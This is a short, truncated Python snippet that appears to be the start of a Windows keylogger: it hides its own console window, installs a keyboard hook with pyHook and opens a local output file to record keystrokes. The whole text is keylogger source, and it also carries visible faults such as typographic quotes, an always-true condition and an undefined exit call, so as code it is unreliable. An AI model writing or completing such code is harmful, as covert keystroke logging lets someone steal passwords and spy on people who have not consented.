Code:
import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
    if event.Ascii==5:
        _exit(1)

    if event.Ascii != 0 or 8:
        f=open(‘c:\output.txt’,'r’)
        buffer=f.read()
        f.close()
...